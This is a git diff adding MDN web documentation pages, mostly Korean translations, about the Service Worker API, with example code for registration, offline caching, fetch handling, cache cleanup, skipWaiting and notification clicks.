+    console.log('Registration failed with ' + error);
+  });
+}
+ +
    +
  1. The outer block performs a feature detection test to make sure service workers are supported before trying to register one.
  2. +
  3. Next, we use the {{domxref("ServiceWorkerContainer.register()") }} function to register the service worker for this site, which is just a JavaScript file residing inside our app (note this is the file's URL relative to the origin, not the JS file that references it.)
  4. +
  5. The scope parameter is optional, and can be used to specify the subset of your content that you want the service worker to control. In this case, we have specified '/sw-test/', which means all content under the app's origin. If you leave it out, it will default to this value anyway, but we specified it here for illustration purposes.
  6. +
  7. The .then() promise function is used to chain a success case onto our promise structure.  When the promise resolves successfully, the code inside it executes.
  8. +
  9. Finally, we chain a .catch() function onto the end that will run if the promise is rejected.
  10. +
+ +

This registers a service worker, which runs in a worker context, and therefore has no DOM access. You then run code in the service worker outside of your normal pages to control their loading.
+
+ A single service worker can control many pages. Each time a page within your scope is loaded, the service worker is installed against that page and operates on it. Bear in mind therefore that you need to be careful with global variables in the service worker script: each page doesn’t get its own unique worker.

+ +
+

Note: Your service worker functions like a proxy server, allowing you to modify requests and responses, replace them with items from its own cache, and more.

+
+ +
+

Note: One great thing about service workers is that if you use feature detection like we’ve shown above, browsers that don’t support service workers can just use your app online in the normal expected fashion. Furthermore, if you use AppCache and SW on a page, browsers that don’t support SW but do support AppCache will use that, and browsers that support both will ignore the AppCache and let SW take over.

+
+ +

Why is my service worker failing to register?

+ +

This could be for the following reasons:

+ +
    +
  1. You are not running your application through HTTPS.
  2. +
  3. The path to your service worker file is not written correctly — it needs to be written relative to the origin, not your app’s root directory. In our example, the worker is at https://mdn.github.io/sw-test/sw.js, and the app’s root is https://mdn.github.io/sw-test/. But the path needs to be written as /sw-test/sw.js, not /sw.js.
  4. +
  5. The service worker being pointed to is on a different origin to that of your app. This is also not allowed.
  6. +
+ +

+ +

Also note:

+ + + +

Install and activate: populating your cache

+ +

After your service worker is registered, the browser will attempt to install then activate the service worker for your page/site.
+
+ The install event is fired when an install is successfully completed. The install event is generally used to populate your browser’s offline caching capabilities with the assets you need to run your app offline. To do this, we use Service Worker’s brand new storage API — {{domxref("cache")}} — a global on the service worker that allows us to store assets delivered by responses, and keyed by their requests. This API works in a similar way to the browser’s standard cache, but it is specific to your domain. It persists until you tell it not to — again, you have full control.

+ +
+

Note: The Cache API is not supported in every browser. (See the {{anch("Browser support")}} section for more information.) If you want to use this now, you could consider using a polyfill like the one available in Google's Topeka demo, or perhaps store your assets in IndexedDB.

+
+ +

Let’s start this section by looking at a code sample — this is the first block you’ll find in our service worker:

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});
+ +
    +
  1. Here we add an install event listener to the service worker (hence this), and then chain a {{domxref("ExtendableEvent.waitUntil()") }} method onto the event — this ensures that the service worker will not install until the code inside waitUntil() has successfully occurred.
  2. +
  3. Inside waitUntil() we use the caches.open() method to create a new cache called v1, which will be version 1 of our site resources cache. This returns a promise for a created cache; once resolved, we then call a function that calls addAll() on the created cache, which for its parameter takes an array of origin-relative URLs to all the resources you want to cache.
  4. +
  5. If the promise is rejected, the install fails, and the worker won’t do anything. This is ok, as you can fix your code and then try again the next time registration occurs.
  6. +
  7. After a successful installation, the service worker activates. This doesn’t have much of a distinct use the first time your service worker is installed/activated, but it means more when the service worker is updated (see the {{anch("Updating your service worker") }} section later on.)
  8. +
+ +
+

Note: localStorage works in a similar way to service worker cache, but it is synchronous, so not allowed in service workers.

+
+ +
+

Note: IndexedDB can be used inside a service worker for data storage if you require it.

+
+ +

Custom responses to requests

+ +

Now you’ve got your site assets cached, you need to tell service workers to do something with the cached content. This is easily done with the fetch event.

+ +

+ +

A fetch event fires every time any resource controlled by a service worker is fetched, which includes the documents inside the specified scope, and any resources referenced in those documents (for example if index.html makes a cross origin request to embed an image, that still goes through its service worker.)

+ +

You can attach a fetch event listener to the service worker, then call the respondWith() method on the event to hijack our HTTP responses and update them with your own magic.

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    // magic goes here
+  );
+});
+ +

We could start by simply responding with the resource whose url matches that of the network request, in each case:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request)
+  );
+});
+ +

caches.match(event.request) allows us to match each resource requested from the network with the equivalent resource available in the cache, if there is a matching one available. The matching is done via url and vary headers, just like with normal HTTP requests.

+ +

Let’s look at a few other options we have when defining our magic (see our Fetch API documentation for more information about {{domxref("Request")}} and {{domxref("Response")}} objects.)

+ +
    +
  1. +

    The {{domxref("Response.Response","Response()")}} constructor allows you to create a custom response. In this case, we are just returning a simple text string:

    + +
    new Response('Hello from your friendly neighbourhood service worker!');
    +
  2. +
  3. +

    This more complex Response below shows that you can optionally pass a set of headers in with your response, emulating standard HTTP response headers. Here we are just telling the browser what the content type of our synthetic response is:

    + +
    new Response('<p>Hello from your friendly neighbourhood service worker!</p>', {
    +  headers: { 'Content-Type': 'text/html' }
    +});
    +
  4. +
  5. +

    If a match wasn’t found in the cache, you could tell the browser to simply {{domxref("GlobalFetch.fetch","fetch")}} the default network request for that resource, to get the new resource from the network if it is available:

    + +
    fetch(event.request);
    +
  6. +
  7. +

    If a match wasn’t found in the cache, and the network isn’t available, you could just match the request with some kind of default fallback page as a response using {{domxref("CacheStorage.match","match()")}}, like this:

    + +
    caches.match('/fallback.html');
    +
  8. +
  9. +

    You can retrieve a lot of information about each request by calling parameters of the {{domxref("Request")}} object returned by the {{domxref("FetchEvent")}}:

    + +
    event.request.url
    +event.request.method
    +event.request.headers
    +event.request.body
    +
  10. +
+ +

Recovering failed requests

+ +

So caches.match(event.request) is great when there is a match in the service worker cache, but what about cases when there isn’t a match? If we didn’t provide any kind of failure handling, our promise would resolve with undefined and we wouldn't get anything returned.

+ +

Fortunately service workers’ promise-based structure makes it trivial to provide further options towards success. We could do this:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      return response || fetch(event.request);
+    })
+  );
+});
+ +

If the resources isn't in the cache, it is requested from the network.

+ +

If we were being really clever, we would not only request the resource from the network; we would also save it into the cache so that later requests for that resource could be retrieved offline too! This would mean that if extra images were added to the Star Wars gallery, our app could automatically grab them and cache them. The following would do the trick:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        return caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+          return response;
+        });
+      });
+    })
+  );
+});
+ +

Here we return the default network request with return fetch(event.request), which returns a promise. When this promise is resolved, we respond by running a function that grabs our cache using caches.open('v1'); this also returns a promise. When that promise resolves, cache.put() is used to add the resource to the cache. The resource is grabbed from event.request, and the response is then cloned with response.clone() and added to the cache. The clone is put in the cache, and the original response is returned to the browser to be given to the page that called it.

+ +

Cloning the response is necessary because request and response streams can only be read once.  In order to return the response to the browser and put it in the cache we have to clone it. So the original gets returned to the browser and the clone gets sent to the cache.  They are each read once.

+ +

The only trouble we have now is that if the request doesn’t match anything in the cache, and the network is not available, our request will still fail. Let’s provide a default fallback so that whatever happens, the user will at least get something:

+ +
this.addEventListener('fetch', function(event) {
+  event.respondWith(
+    caches.match(event.request).then(function(resp) {
+      return resp || fetch(event.request).then(function(response) {
+        caches.open('v1').then(function(cache) {
+          cache.put(event.request, response.clone());
+        });
+        return response;
+      });
+    }).catch(function() {
+      return caches.match('/sw-test/gallery/myLittleVader.jpg');
+    })
+  );
+});
+ +

We have opted for this fallback image because the only updates that are likely to fail are new images, as everything else is depended on for installation in the install event listener we saw earlier.

+ +

Updating your service worker

+ +

If your service worker has previously been installed, but then a new version of the worker is available on refresh or page load, the new version is installed in the background, but not yet activated. It is only activated when there are no longer any pages loaded that are still using the old service worker. As soon as there are no more such pages still loaded, the new service worker activates.

+ +

You’ll want to update your install event listener in the new service worker to something like this (notice the new version number):

+ +
this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v2').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+
+        …
+
+        // include other new resources for the new version...
+      ]);
+    })
+  );
+});
+ +

While this happens, the previous version is still responsible for fetches. The new version is installing in the background. We are calling the new cache v2, so the previous v1 cache isn't disturbed.

+ +

When no pages are using the current version, the new worker activates and becomes responsible for fetches.

+ +

Deleting old caches

+ +

You also get an activate event. This is a generally used to do stuff that would have broken the previous version while it was still running, for example getting rid of old caches. This is also useful for removing data that is no longer needed to avoid filling up too much disk space — each browser has a hard limit on the amount of cache storage that a given service worker can use. The browser does its best to manage disk space, but it may delete the Cache storage for an origin.  The browser will generally delete all of the data for an origin or none of the data for an origin.

+ +

Promises passed into waitUntil() will block other events until completion, so you can rest assured that your clean-up operation will have completed by the time you get your first fetch event on the new cache.

+ +
this.addEventListener('activate', function(event) {
+  var cacheWhitelist = ['v2'];
+
+  event.waitUntil(
+    caches.keys().then(function(keyList) {
+      return Promise.all(keyList.map(function(key) {
+        if (cacheWhitelist.indexOf(key) === -1) {
+          return caches.delete(key);
+        }
+      }));
+    })
+  );
+});
+ +

Developer tools

+ +

Chrome has chrome://inspect/#service-workers, which shows current service worker activity and storage on a device, and chrome://serviceworker-internals, which shows more detail and allows you to start/stop/debug the worker process. In the future they will have throttling/offline modes to simulate bad or non-existent connections, which will be a really good thing.

+ +

Firefox has also started to implement some useful tools related to service workers:

+ + + +
+

Note: You may serve your app from http://localhost (e.g. using me@localhost:/my/app$ python -m SimpleHTTPServer) for local development. See Security considerations

+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(40.0)}}{{ CompatGeckoDesktop("33.0") }}[1]{{CompatNo}}24{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}{{CompatChrome(40.0)}}{{ CompatVersionUnknown }}{{ CompatVersionUnknown }}{{CompatNo}}{{ CompatVersionUnknown() }}{{CompatNo}}
+
+ +

[1] Service workers (and Push) have been disabled in the Firefox 45 Extended Support Release (ESR.)

+ +

See also

+ + diff --git a/files/ko/web/api/serviceworker/index.html b/files/ko/web/api/serviceworker/index.html new file mode 100644 index 0000000000..e7e5907ecf --- /dev/null +++ b/files/ko/web/api/serviceworker/index.html @@ -0,0 +1,113 @@ +--- +title: ServiceWorker +slug: Web/API/ServiceWorker +tags: + - API + - Interface + - Offline + - Reference + - Service Workers + - ServiceWorker + - Workers + - 서비스 워커 + - 워커 +translation_of: Web/API/ServiceWorker +--- +
{{APIRef("Service Workers API")}}
+ +

Service Worker APIServiceWorker 인터페이스는 서비스 워커로의 참조를 제공합니다. 다수의{{glossary("browsing context", "브라우징 맥락")}}(e.g. 페이지, 다른 워커, 등등)는 고유한 ServiceWorker 객체를 통해 동일한 서비스 워커와 연결할 수 있습니다.

+ +

ServiceWorker 객체는 {{domxref("ServiceWorkerRegistration.active")}} 속성과 {{domxref("ServiceWorkerContainer.controller")}} 속성으로 접근할 수 있습니다. controller는 활성화되어 페이지를 통제 중인 서비스 워커입니다.

+ +

ServiceWorker 인터페이스에서는 일련의 생명주기 이벤트(install, activate)와 기능 이벤트(fetch)가 발생합니다. ServiceWorker 객체의 생명주기는 {{domxref("ServiceWorker.state")}} 속성이 담고 있습니다.

+ +

속성

+ +

ServiceWorker 인터페이스는 부모 {{domxref("Worker")}}에서 속성을 상속합니다.

+ +
+
{{domxref("ServiceWorker.scriptURL")}} {{readonlyinline}}
+
Returns the ServiceWorker serialized script URL defined as part of {{domxref("ServiceWorkerRegistration")}}. The URL must be on the same origin as the document that registers the ServiceWorker.
+
{{domxref("ServiceWorker.state")}} {{readonlyinline}}
+
Returns the state of the service worker. It returns one of the following values: installing, installed, activating, activated, or redundant.
+
+ +

이벤트 처리기

+ +
+
{{domxref("ServiceWorker.onstatechange")}} {{readonlyinline}}
+
An {{domxref("EventListener")}} property called whenever an event of type statechange is fired; it is basically fired anytime the {{domxref("ServiceWorker.state")}} changes.
+
+ +

메서드

+ +

ServiceWorker 인터페이스는 부모 {{domxref("Worker")}}에서 메서드를 상속합니다. 단, {{domxref("Worker.terminate()")}}는 예외이며 서비스 워커에서 접근할 수 없습니다.

+ +

예제

+ +

This code snippet is from the service worker registration-events sample (live demo). The code listens for any change in the {{domxref("ServiceWorker.state")}} and returns its value.

+ +
if ('serviceWorker' in navigator) {
+    navigator.serviceWorker.register('service-worker.js', {
+        scope: './'
+    }).then(function (registration) {
+        var serviceWorker;
+        if (registration.installing) {
+            serviceWorker = registration.installing;
+            document.querySelector('#kind').textContent = 'installing';
+        } else if (registration.waiting) {
+            serviceWorker = registration.waiting;
+            document.querySelector('#kind').textContent = 'waiting';
+        } else if (registration.active) {
+            serviceWorker = registration.active;
+            document.querySelector('#kind').textContent = 'active';
+        }
+        if (serviceWorker) {
+            // logState(serviceWorker.state);
+            serviceWorker.addEventListener('statechange', function (e) {
+                // logState(e.target.state);
+            });
+        }
+    }).catch (function (error) {
+        // Something went wrong during registration. The service-worker.js file
+        // might be unavailable or contain a syntax error.
+    });
+} else {
+    // The current browser doesn't support service workers.
+}
+ +

명세

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#serviceworker', 'ServiceWorker')}}{{Spec2('Service Workers')}}Initial definition.
+ +

브라우저 호환성

+ +
+ + +

{{Compat("api.ServiceWorker")}}

+
+ +

같이 보기

+ + diff --git a/files/ko/web/api/serviceworker/onstatechange/index.html b/files/ko/web/api/serviceworker/onstatechange/index.html new file mode 100644 index 0000000000..d6063f0445 --- /dev/null +++ b/files/ko/web/api/serviceworker/onstatechange/index.html @@ -0,0 +1,72 @@ +--- +title: ServiceWorker.onstatechange +slug: Web/API/ServiceWorker/onstatechange +translation_of: Web/API/ServiceWorker/onstatechange +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

statechange 타입의 이벤트가 발생될 때마다 호출되는 {{domxref("EventListener")}} 속성. 기본적으로 {{domxref("ServiceWorker.state")}}가 변경되는 시점에 발생한다.

+ +

Syntax

+ +
ServiceWorker.onstatechange = function(statechangeevent) { ... }
+ServiceWorker.addEventListener('statechange', function(statechangeevent) { ... } )
+ +

Examples

+ +

이 코드 조각은 service worker registration-events sample (live demo) 으로부터 가져온 것이다. 이 코드는 {{domxref("ServiceWorker.state")}}의 모든 변경 사항을 수신하고 그 값을 반환한다.

+ +
var serviceWorker;
+if (registration.installing) {
+  serviceWorker = registration.installing;
+  document.querySelector('#kind').textContent = 'installing';
+} else if (registration.waiting) {
+  serviceWorker = registration.waiting;
+  document.querySelector('#kind').textContent = 'waiting';
+} else if (registration.active) {
+  serviceWorker = registration.active;
+  document.querySelector('#kind').textContent = 'active';
+}
+
+if (serviceWorker) {
+  logState(serviceWorker.state);
+  serviceWorker.addEventListener('statechange', function(e) {
+  logState(e.target.state);
+  });
+}
+ +

statechange 가 발생할 때, 서비스워커의 참조들이 변화할 수 있으므로 주의하라. 예시:

+ +
navigator.serviceWorker.register(..).then(function(swr) {
+  swr.installing.state == "installing"
+  swr.installing.onstatechange = function() {
+    swr.installing == null;
+    // 이 시점에서, swr.waiting 또는 swr.active는 true일 것이다. 이것은 statechange 이벤트가 대기 상태이기 때문이며,
+    // 그동안 잠재 상태의 워커가 waiting 상태가 될 수도 있으며 가능한 경우에는 즉시 activated 될 것이다.
+  }
+})
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-onstatechange-attribute', 'ServiceWorker.onstatechange')}}{{Spec2('Service Workers')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorker.onstatechange")}}

+
diff --git a/files/ko/web/api/serviceworkerglobalscope/clients/index.html b/files/ko/web/api/serviceworkerglobalscope/clients/index.html new file mode 100644 index 0000000000..ccc6ab78a8 --- /dev/null +++ b/files/ko/web/api/serviceworkerglobalscope/clients/index.html @@ -0,0 +1,55 @@ +--- +title: ServiceWorkerGlobalScope.clients +slug: Web/API/ServiceWorkerGlobalScope/clients +translation_of: Web/API/ServiceWorkerGlobalScope/clients +--- +

{{APIRef("Service Workers API")}}

+ +

{{domxref("ServiceWorkerGlobalScope")}} 인터페이스의 clients 읽기 전용 속성은 서비스 워커와 관련된 Clients 객체를 반환한다.

+ +

Syntax

+ +
swClients = self.clients
+
+ +

Value

+ +

특정한 워커와 관련된 {{domxref("Clients")}} 객체.

+ +

Specifications

+ +
+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-global-scope-clients', 'ServiceWorkerRegistration.clients')}}{{Spec2('Service Workers')}}Initial definition.
+  
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope.clients")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerglobalscope/index.html b/files/ko/web/api/serviceworkerglobalscope/index.html new file mode 100644 index 0000000000..3f4115cbab --- /dev/null +++ b/files/ko/web/api/serviceworkerglobalscope/index.html @@ -0,0 +1,152 @@ +--- +title: ServiceWorkerGlobalScope +slug: Web/API/ServiceWorkerGlobalScope +tags: + - API + - Draft + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - ServiceWorkerGlobalScope + - TopicStub + - Workers +translation_of: Web/API/ServiceWorkerGlobalScope +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

The ServiceWorkerGlobalScope interface of the ServiceWorker API represents the global execution context of a service worker.

+ +

Developers should keep in mind that the ServiceWorker state is not persisted across the termination/restart cycle, so each event handler should assume it's being invoked with a bare, default global state.

+ +

Once successfully registered, a service worker can and will be terminated when idle to conserve memory and processor power. An active service worker is automatically restarted to respond to events, such as {{domxref("ServiceWorkerGlobalScope.onfetch")}} or {{domxref("ServiceWorkerGlobalScope.onmessage")}}.

+ +

Additionally, synchronous requests are not allowed from within a service worker — only asynchronous requests, like those initiated via the {{domxref("GlobalFetch.fetch", "fetch()")}} method, can be used.

+ +

This interface inherits from the {{domxref("WorkerGlobalScope")}} interface, and its parent {{domxref("EventTarget")}}, and therefore implements properties from {{domxref("WindowTimers")}}, {{domxref("WindowBase64")}}, and {{domxref("WindowEventHandlers")}}.

+ +

{{InheritanceDiagram(700, 85, 20)}}

+ +

Properties

+ +
+
{{domxref("ServiceWorkerGlobalScope.clients")}} {{readonlyinline}}
+
Contains the {{domxref("Clients")}} object associated with the service worker.
+
{{domxref("ServiceWorkerGlobalScope.registration")}} {{readonlyinline}}
+
Contains the {{domxref("ServiceWorkerRegistration")}} object that represents the service worker's registration.
+
{{domxref("ServiceWorkerGlobalScope.caches")}} {{readonlyinline}}
+
Contains the {{domxref("CacheStorage")}} object associated with the service worker.
+
+ +

Events

+ +
+
activate
+
Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.active")}} worker.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onactivate")}} property.
+
fetch
+
Occurs when a {{domxref("GlobalFetch.fetch", "fetch()")}} is called.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onfetch")}} property.
+
install
+
Occurs when a {{domxref("ServiceWorkerRegistration")}} acquires a new {{domxref("ServiceWorkerRegistration.installing")}} worker.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.oninstall")}} property.
+
message
+
Occurs when incoming messages are received. Controlled pages can use the {{domxref("MessagePort.postMessage()")}} method to send messages to service workers. The service worker can optionally send a response back via the {{domxref("MessagePort")}} exposed in event.data.port, corresponding to the controlled page.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onmessage")}} property.
+
notificationclick
+
Occurs when a user clicks on a displayed notification.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclick")}} property.
+
notificationclose
+
Occurs — when a user closes a displayed notification.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onnotificationclose")}} property.
+
push
+
Occurs when a server push notification is received.
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpush")}} property.
+
pushsubscriptionchange
+
Occurs when a push subscription has been invalidated, or is about to be invalidated (e.g. when a push service sets an expiration time).
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onpushsubscriptionchange")}} property.
+
sync
+
Triggered when a call to {{domxref("SyncManager.register")}} is made from a service worker client page. The attempt to sync is made either immediately if the network is available or as soon as the network becomes available. 
+ Also available via the {{domxref("ServiceWorkerGlobalScope.onsync")}} property.
+
+ +

Methods

+ +
+
{{domxref("ServiceWorkerGlobalScope.skipWaiting()")}}
+
Allows the current service worker registration to progress from waiting to active state while service worker clients are using it.
+
+ +

ServiceWorkerGlobalScope implements {{domxref("WorkerGlobalScope")}} — which implements {{domxref("WindowOrWorkerGlobalScope")}}. Therefore it also has the following property available to it:

+ +
+
{{domxref("GlobalFetch.fetch()")}}
+
Starts the process of fetching a resource. This returns a promise that resolves to the {{domxref("Response")}} object representing the response to your request. This algorithm is the entry point for the fetch handling handed to the service worker context.
+
+ +

Examples

+ +

This code snippet is from the service worker prefetch sample (see prefetch example live.) The {{domxref("ServiceWorkerGlobalScope.onfetch")}} event handler listens for the fetch event. When fired, the code returns a promise that resolves to the first matching request in the {{domxref("Cache")}} object. If no match is found, the code fetches a response from the network.

+ +

The code also handles exceptions thrown from the {{domxref("GlobalFetch.fetch", "fetch()")}} operation. Note that an HTTP error response (e.g., 404) will not trigger an exception. It will return a normal response object that has the appropriate error code set.

+ +
self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+    caches.match(event.request).then(function(response) {
+      if (response) {
+        console.log('Found response in cache:', response);
+
+        return response;
+      }
+      console.log('No response found in cache. About to fetch from network...');
+
+      return fetch(event.request).then(function(response) {
+        console.log('Response from network is:', response);
+
+        return response;
+      }, function(error) {
+        console.error('Fetching failed:', error);
+
+        throw error;
+      });
+    })
+  );
+});
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#serviceworkerglobalscope-interface', 'ServiceWorkerGlobalScope')}}{{Spec2('Service Workers')}}Initial definition
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html new file mode 100644 index 0000000000..685d5c99d2 --- /dev/null +++ b/files/ko/web/api/serviceworkerglobalscope/notificationclick_event/index.html @@ -0,0 +1,104 @@ +--- +title: 'ServiceWorkerGlobalScope: notificationclick event' +slug: Web/API/ServiceWorkerGlobalScope/notificationclick_event +translation_of: Web/API/ServiceWorkerGlobalScope/notificationclick_event +--- +
{{APIRef}}
+ +

notificationclick 이벤트는 {{domxref("ServiceWorkerRegistration.showNotification()")}} 에 의해 발생한 시스템 notification 이 클릭되었음을 나타내기 위해 발생된다.

+ + + + + + + + + + + + + + + + + + + + +
No
CancelableNo
Interface{{domxref("NotificationEvent")}}
Event handleronnotificationclick
+ +

Examples

+ +

addEventListener 메소드 내에서 notificationclick 이벤트를 사용할 수 있다:

+ +
self.addEventListener('notificationclick', function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i < clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' && 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+});
+
+ +

또는 onnotificationclick 이벤트 핸들러 속성을 사용할 수 있다:

+ +
self.onnotificationclick = function(event) {
+  console.log('On notification click: ', event.notification.tag);
+  event.notification.close();
+
+  // This looks to see if the current is already open and
+  // focuses if it is
+  event.waitUntil(clients.matchAll({
+    type: "window"
+  }).then(function(clientList) {
+    for (var i = 0; i < clientList.length; i++) {
+      var client = clientList[i];
+      if (client.url == '/' && 'focus' in client)
+        return client.focus();
+    }
+    if (clients.openWindow)
+      return clients.openWindow('/');
+  }));
+};
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationStatus
{{SpecName('Web Notifications','#dom-serviceworkerglobalscope-onnotificationclick','onnotificationclick')}}{{Spec2('Web Notifications')}}
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope.notificationclick_event")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html new file mode 100644 index 0000000000..a6c3e50e96 --- /dev/null +++ b/files/ko/web/api/serviceworkerglobalscope/skipwaiting/index.html @@ -0,0 +1,71 @@ +--- +title: ServiceWorkerGlobalScope.skipWaiting() +slug: Web/API/ServiceWorkerGlobalScope/skipWaiting +translation_of: Web/API/ServiceWorkerGlobalScope/skipWaiting +--- +
{{APIRef("Service Workers API")}}
+ +

{{domxref("ServiceWorkerGlobalScope")}} 의 ServiceWorkerGlobalScope.skipWaiting() 메소드는 waiting 상태의 서비스 워커를 active 상태의 서비스 워커로 변경하도록 강제한다.

+ +

근본적인 서비스 워커에 대한 업데이트들이 현재의 클라이언트와 다른 모든 active 클라이언트들에게 즉시 적용되도록 하기 위해 {{domxref("Clients.claim()")}} 과 이 메소드를 사용한다.

+ +

Syntax

+ +
ServiceWorkerGlobalScope.skipWaiting().then(function() {
+  //Do something
+});
+ +

Returns

+ +

undefined 로 즉시 resolve 되는 {{jsxref("Promise")}}

+ +

Example

+ +

서비스 워커가 실행되는 동안 언제라도 self.skipWaiting() 는 호출될 수 있지만, 이것은 waiting 상태로 남아 있을 수도 있는 새롭게 설치된 서비스 워커가 있는 경우에만 영향을 줄 수 있다. 따라서, {{domxref("InstallEvent")}} 핸들러 내부에서 self.skipWaiting() 을 호출하는 것이 일반적이다.

+ +

다음 예시는 active 상태의 서비스 워커가 이미 존재하는지의 여부에 관계없이, 새로 설치된 서비스 워커가  activating 상태로 진행되도록 한다.

+ +
self.addEventListener('install', function(event) {
+  // skipWaiting()가 반환하는 promise는 안전하게 무시될 수 있다.
+  self.skipWaiting();
+
+  // 잠재적으로 event.waitUntil(); 내부에서
+  // 서비스 워커 설치를 위해 필요한 다른 action 들을 수행하라.
+});
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-obj', 'ServiceWorker')}}{{Spec2('Service Workers')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.ServiceWorkerGlobalScope.skipWaiting")}}

+
+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerregistration/active/index.html b/files/ko/web/api/serviceworkerregistration/active/index.html new file mode 100644 index 0000000000..cc492009a3 --- /dev/null +++ b/files/ko/web/api/serviceworkerregistration/active/index.html @@ -0,0 +1,59 @@ +--- +title: ServiceWorkerRegistration.active +slug: Web/API/ServiceWorkerRegistration/active +translation_of: Web/API/ServiceWorkerRegistration/active +--- +
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+ +

{{domxref("ServiceWorkerRegistration")}} 인터페이스의 active 속성은 {{domxref("ServiceWorker.state")}} 가 activating 또는 activated 상태인 서비스 워커를 반환한다. 이 속성은 null 로 초기 설정되어 있다.

+ +

클라이언트들의 URL이 등록 scope 내에 있을 경우 active 워커는 {{domxref("ServiceWorkerClient")}} 를 제어한다. ({{domxref("ServiceWorkerContainer.register")}} 가 처음으로 호출될 때 그 scope 옵션은 정의된다.)

+ +
+

Note: 이 기능은 Web Workers 에서 사용 가능하다.

+
+ +

Syntax

+ +
sw = ServiceWorker.active
+
+ +

Value

+ +

현재 activating 또는 activated 상태에 있다면, {{domxref("ServiceWorker")}} 객체.

+ +

Specifications

+ +
+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Service Workers', '#service-worker-registration-active-attribute', 'ServiceWorkerRegistration.active')}}{{Spec2('Service Workers')}}Initial definition.
+  
+ +

Browser compatibility

+ + + +

{{Compat("api.ServiceWorkerRegistration.active")}}

+ +

See also

+ + diff --git a/files/ko/web/api/serviceworkerregistration/index.html b/files/ko/web/api/serviceworkerregistration/index.html new file mode 100644 index 0000000000..15606c9603 --- /dev/null +++ b/files/ko/web/api/serviceworkerregistration/index.html @@ -0,0 +1,150 @@ +--- +title: ServiceWorkerRegistration +slug: Web/API/ServiceWorkerRegistration +tags: + - API + - Interface + - NeedsTranslation + - Offline + - Reference + - Service Workers + - Service worker API + - ServiceWorkerRegistration + - TopicStub + - Workers +translation_of: Web/API/ServiceWorkerRegistration +--- +
+
{{SeeCompatTable}}{{APIRef("Service Workers API")}}
+
+ +

The ServiceWorkerRegistration interface of the ServiceWorker API represents the service worker registration. You register a service worker to control one or more pages that share the same origin.

+ +

